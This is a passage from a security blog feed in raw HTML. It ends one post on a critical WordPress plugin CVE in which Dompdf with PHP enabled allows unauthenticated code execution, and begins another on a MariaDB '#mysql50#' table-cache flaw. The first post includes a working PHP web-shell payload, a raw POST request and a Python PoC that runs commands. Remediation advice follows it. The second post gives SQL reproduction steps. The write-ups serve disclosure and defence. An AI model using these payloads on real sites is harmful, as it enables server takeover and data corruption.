&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// reconstructed from the public advisory's description&lt;/span&gt;
&lt;span class="nv"&gt;$dompdf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Dompdf\Dompdf&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$dompdf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;set_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'isPhpEnabled'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// explicitly enables execution of PHP code found inside the HTML&lt;/span&gt;
&lt;span class="nv"&gt;$dompdf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;loadHtml&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$rendered_template&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;        &lt;span class="c1"&gt;// the template, with xpv_image mixed in&lt;/span&gt;
&lt;span class="nv"&gt;$dompdf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;isPhpEnabled&lt;/code&gt; is a legitimate Dompdf feature. It exists for a PDF author who wants to mix actual PHP into an HTML template — stamping today's date dynamically into a PDF, for instance. The catch is that &lt;strong&gt;this option is only safe under the assumption that only a trusted template author ever writes that HTML.&lt;/strong&gt; Once untrusted user input can become part of that HTML — exactly what Step 2 showed — this option stops being "a PDF renderer" and becomes, in effect, a &lt;strong&gt;PHP code execution engine.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — where all three pieces converge
&lt;/h3&gt;

&lt;p&gt;Putting these three flaws together:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The auth/nonce check is commented out, so anyone can reach this handler.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;xpv_image&lt;/code&gt; value gets inserted into the HTML template with no escaping.&lt;/li&gt;
&lt;li&gt;That template is rendered by Dompdf with PHP execution enabled.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because all three hold simultaneously, an attacker reaches server command execution simply by putting PHP code like &lt;code&gt;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&lt;/code&gt; directly into the &lt;code&gt;xpv_image&lt;/code&gt; parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/?xpv_action=generate_pdf&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;target-site.example&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/x-www-form-urlencoded&lt;/span&gt;

xpv_action=generate_pdf&amp;amp;xpv_image=&amp;lt;?php system($_GET['cmd']); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No &lt;code&gt;Authorization&lt;/code&gt; header. No login session cookie. No CSRF token. The moment the server builds this PDF, the attacker's embedded PHP code runs with the privileges of the server process.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3onc3mv5q0bul5b0j221.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3onc3mv5q0bul5b0j221.png" alt=" " width="800" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Full PoC walkthrough — the actual published reproduction
&lt;/h2&gt;

&lt;p&gt;Researcher kayes817 published a PoC and an isolated Docker lab for this CVE at &lt;code&gt;github.com/kayes817/CVE-2026-103889&lt;/code&gt;. Here's the repository's structure and what each part means.&lt;/p&gt;

&lt;h3&gt;
  
  
  Repository layout
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVE-2026-103889/
├── CVE-2026-103889.py     # the script that actually sends the exploit
├── PoC-test-lab/          # a Docker environment running the vulnerable plugin version in isolation
└── README.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The README describes usage like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Bring up the isolated test lab&lt;/span&gt;
&lt;span class="nb"&gt;cd &lt;/span&gt;PoC-test-lab
docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt;

&lt;span class="c"&gt;# 2. Edit the global settings near the top of the script (target URL, etc.), then run it&lt;/span&gt;
python3 CVE-2026-103889.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This structure itself tells you a lot about this exploit's nature. There's no memory-corruption technique, no timing attack involved — this is &lt;strong&gt;an exploit that boils down to one script sending one HTTP POST request.&lt;/strong&gt; &lt;code&gt;PoC-test-lab&lt;/code&gt; lets the researcher reproduce and verify this without ever touching a live production site, which is itself a good example of responsible disclosure practice.&lt;/p&gt;

&lt;h3&gt;
  
  
  The script's core logic (conceptual summary)
&lt;/h3&gt;

&lt;p&gt;The heart of the published PoC script is simply constructing and sending the HTTP request described above.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;TARGET_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://target-site.example/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# the target — any URL on the site works, thanks to wp_loaded
&lt;/span&gt;&lt;span class="n"&gt;CMD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;                                    &lt;span class="c1"&gt;# the command to run on the server
&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;xpv_action&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;generate_pdf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;xpv_image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;?php system($_GET[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cmd&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;]); ?&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# 1) Send the PDF generation request with malicious PHP code in xpv_image
#    → the server's Dompdf instance "executes" that PHP code while rendering the PDF
&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TARGET_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 2) Call back in to observe the execution result, via the embedded trigger
&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TARGET_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cmd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CMD&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this PoC makes unambiguous is that &lt;strong&gt;code executes immediately, from the PDF-generation request itself, with no separate second-stage trigger needed&lt;/strong&gt; (a variant where the planted code — &lt;code&gt;system($_GET['cmd'])&lt;/code&gt; — persists somewhere in the template so future requests can keep executing commands via a &lt;code&gt;cmd&lt;/code&gt; parameter is also possible, but the minimal reproduction needs just one request). No authentication-bypass technique, no special encoding, no race condition required — this, on its own, is the clearest explanation of why this flaw scores a 9.8.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/QsHdNngnMV4" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  What gets observed
&lt;/h3&gt;

&lt;p&gt;The response to the PoC's follow-up request carries the output of the &lt;code&gt;id&lt;/code&gt; command directly (something in the form &lt;code&gt;uid=33(www-data) gid=33(www-data) ...&lt;/code&gt;). The server only processed a request to "generate a PDF" — and that processing itself became arbitrary command execution.&lt;/p&gt;

&lt;h2&gt;
  
  
  The patch — reversing all three points
&lt;/h2&gt;

&lt;p&gt;Expivi 2.16.3 fixed each of these three flaws individually. The commented-out auth/nonce check was restored, proper escaping was added to &lt;code&gt;xpv_image&lt;/code&gt; and other template inputs, and since there was never a legitimate reason to have &lt;code&gt;isPhpEnabled&lt;/code&gt; turned on for PDF rendering here, it was disabled.&lt;/p&gt;

&lt;p&gt;There are two lessons here. First, the habit of "temporarily" commenting out a security check for debugging purposes or to disable something quickly turns into a complete security model collapse the moment that comment never gets reverted and ships in a release. A commented-out authentication or authorization-check block is, on its own, something a code review must always flag. Second, a "dynamic content" feature offered by a PDF or document-generation library — like &lt;code&gt;isPhpEnabled&lt;/code&gt; here — should never be enabled if even a single character of that document's content can originate from untrusted user input. These kinds of options are usually off by default, but it's common for someone to turn one on for a specific feature and then simply forget how dangerous it is.&lt;/p&gt;

&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update the 3D Product configurator for WooCommerce plugin to 2.16.3 or later immediately.&lt;/li&gt;
&lt;li&gt;If an immediate update isn't possible, disable the plugin, or apply a temporary WAF rule blocking requests where the &lt;code&gt;xpv_image&lt;/code&gt; parameter contains a PHP opening tag like &lt;code&gt;&amp;lt;?php&lt;/code&gt; or &lt;code&gt;&amp;lt;?=&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Disabling command-execution functions (&lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;shell_exec&lt;/code&gt;, &lt;code&gt;passthru&lt;/code&gt;, etc.) via PHP's &lt;code&gt;disable_functions&lt;/code&gt; setting provides defense-in-depth, reducing the odds that this class of code injection turns into actual command execution.&lt;/li&gt;
&lt;li&gt;If exposure is possible, check web server access logs for requests to &lt;code&gt;xpv_action=generate_pdf&lt;/code&gt; or similar parameters containing the string &lt;code&gt;&amp;lt;?php&lt;/code&gt;, and look for unfamiliar PHP files in the plugin directory or upload paths.&lt;/li&gt;
&lt;li&gt;Across any site running this plugin, it's worth separately checking whether other handlers hooked to early lifecycle actions like &lt;code&gt;wp_loaded&lt;/code&gt; share this same "missing authentication check" pattern.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>wordpress</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-92262: Nine Characters — "#mysql50#" — Is All It Takes to Break MariaDB (CVSS 9.9)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 21 Oct 2026 03:18:04 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-92262-nine-characters-mysql50-is-all-it-takes-to-break-mariadb-cvss-99-5c55</link>
      <guid>https://dev.to/guidance_white/cve-2026-92262-nine-characters-mysql50-is-all-it-takes-to-break-mariadb-cvss-99-5c55</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc84dbzm85505yw3767el.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc84dbzm85505yw3767el.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-92262&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;MariaDB Server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;10.6.1–10.6.27, 10.11.1–10.11.18, 11.4.1–11.4.12, 11.8.1–11.8.8, 12.3.1–12.3.2, 13.0.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, 13.0.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;9.9 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;CWE-706 (Use of Incorrectly-Resolved Name or Reference)&lt;/strong&gt; — a different category from the classic "path traversal" label&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Official sources&lt;/td&gt;
&lt;td&gt;GHSA-65jj-h265-3m7h (MariaDB's official security advisory), MDEV-40362 (MariaDB's own JIRA bug)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;Yes — and at a very low bar. The public PoC reproduces this with nothing more than an ordinary &lt;code&gt;ALL&lt;/code&gt; grant on your own schema (create tables, insert, select) — no &lt;code&gt;FILE&lt;/code&gt;, no &lt;code&gt;SUPER&lt;/code&gt;, no plugin-load privilege&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosed&lt;/td&gt;
&lt;td&gt;2026-10-16, alongside the 10.6.28 and other patched releases&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Note&lt;/td&gt;
&lt;td&gt;Disclosed the same day as two other 9.9-scored CVEs — CVE-2026-85748 (a SYS_REFCURSOR UAF) and CVE-2026-85746 (an ST_AsText OOB write) — all three bundled into a single PoC repository by the same researcher&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Correction notice&lt;/strong&gt;: An earlier version of this post described this flaw as classic path traversal (&lt;code&gt;#mysql50#../../../etc/passwd&lt;/code&gt;-style). That characterization didn't match the official CWE classification (CWE-706, not CWE-22) or how the published PoC actually behaves. The public PoC demonstrates that a name containing &lt;code&gt;../&lt;/code&gt; is explicitly rejected elsewhere with &lt;code&gt;ERROR 1103 Incorrect table name&lt;/code&gt;. What follows has been rewritten based on the official advisory (GHSA-65jj-h265-3m7h), MariaDB's own bug tracker (MDEV-40362), and the published PoC code.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;MariaDB has to run table names through a "translation step" before they become actual filesystem paths. SQL allows characters like &lt;code&gt;-&lt;/code&gt; and &lt;code&gt;@&lt;/code&gt; in table names, but not every filesystem handles those characters safely. So MariaDB replaces "potentially unsafe" characters in a table name with a hex-coded form prefixed by &lt;code&gt;@&lt;/code&gt; (like &lt;code&gt;@002d&lt;/code&gt;) when building the filename.&lt;/p&gt;

&lt;p&gt;This CVE comes from a &lt;strong&gt;nearly 20-year-old compatibility feature that can skip that translation step entirely.&lt;/strong&gt; A table name carrying the &lt;code&gt;#mysql50#&lt;/code&gt; prefix is meant to reference "a table stored under MySQL 5.1-era encoding, as-is" — and to do that, it skips the encoding step altogether. An overt &lt;code&gt;../&lt;/code&gt; sequence is blocked by a separate name-validity check, but a quieter problem remained underneath: &lt;strong&gt;a name with this prefix and the same name without it aren't properly distinguished inside the table cache.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the flaw lives — two names sharing one cache key
&lt;/h2&gt;

&lt;p&gt;Here's the normal flow for turning a table name into a file in MariaDB:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A user specifies a table name, as in &lt;code&gt;CREATE TABLE t (...)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The server encodes it for the filename character set via something like &lt;code&gt;tablename_to_filename()&lt;/code&gt;. Characters like &lt;code&gt;-&lt;/code&gt; and &lt;code&gt;@&lt;/code&gt; become &lt;code&gt;@002d&lt;/code&gt;, &lt;code&gt;@0040&lt;/code&gt;, and so on.&lt;/li&gt;
&lt;li&gt;At the same time, the server builds a &lt;strong&gt;table cache key&lt;/strong&gt; to identify this table, so subsequent queries using the same name can reuse a cached handler instead of hitting disk every time.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code&gt;#mysql50#&lt;/code&gt; prefix was designed to affect step 2 (filename encoding). In practice, it &lt;strong&gt;also affects step 3 (cache key computation)&lt;/strong&gt; — with the result that &lt;code&gt;t&lt;/code&gt; and &lt;code&gt;#mysql50#t&lt;/code&gt;, despite being different names, end up sharing the same cache entry and handler.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — the normal path: special characters are safely substituted
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;`a-b`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MyISAM&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This table gets stored on disk as &lt;code&gt;a@002db.frm&lt;/code&gt;, &lt;code&gt;a@002db.MYD&lt;/code&gt;, &lt;code&gt;a@002db.MYI&lt;/code&gt;. Because &lt;code&gt;-&lt;/code&gt; was replaced with &lt;code&gt;@002d&lt;/code&gt;, you can't tell from the filename alone that the original table name contained a &lt;code&gt;-&lt;/code&gt; — but that substitution is exactly what keeps filesystem-ambiguous characters from ever appearing literally in a path.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — "#mysql50#" skips that encoding entirely
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;`#mysql50#a-b`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MyISAM&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;According to what the public PoC actually confirms, running this command creates the following files in the data directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a-b.frm
a-b.MYD
a-b.MYI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;a@002db.frm&lt;/code&gt; never gets created. The &lt;code&gt;-&lt;/code&gt; stayed unencoded, literally, in the filename. But the PoC repository also makes an important point here — &lt;strong&gt;putting &lt;code&gt;../&lt;/code&gt; in the table name is rejected by a separate check, before it ever gets this far, with &lt;code&gt;ERROR 1103 Incorrect table name&lt;/code&gt;.&lt;/strong&gt; So this isn't the classic "escape to an arbitrary path" kind of flaw — it's the narrower, but still real, problem of "a character that should have been encoded ends up in the filename unencoded."&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — the root cause: the table cache confuses &lt;code&gt;t&lt;/code&gt; and &lt;code&gt;#mysql50#t&lt;/code&gt; (CWE-706)
&lt;/h3&gt;

&lt;p&gt;The real core of this flaw isn't on disk at all — it's &lt;strong&gt;in the in-memory table cache.&lt;/strong&gt; The reproduction steps recorded in MDEV-40362 look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt; &lt;span class="nb"&gt;BINARY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MEMORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;REPEAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HEX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;-- id=1  hex=41414141414141414141   (0x41, ten bytes, exactly as inserted)&lt;/span&gt;

&lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="nv"&gt;`#mysql50#t`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;`#mysql50#t`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt; &lt;span class="nb"&gt;BINARY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MEMORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="nv"&gt;`#mysql50#t`&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x42&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HEX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="nv"&gt;`#mysql50#t`&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;-- id=2  hex=42&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;t&lt;/code&gt; and &lt;code&gt;#mysql50#t&lt;/code&gt; are two entirely distinct identifiers at the SQL level — they don't even share a column definition (&lt;code&gt;BINARY(10)&lt;/code&gt; versus &lt;code&gt;BINARY(1)&lt;/code&gt;). On a correctly-behaving server, these should be two completely independent tables. They aren't.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SELECT id, HEX(c1) FROM t ORDER BY id;

id=1  hex=41414141414141414141
id=2  hex=42000000000000000000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



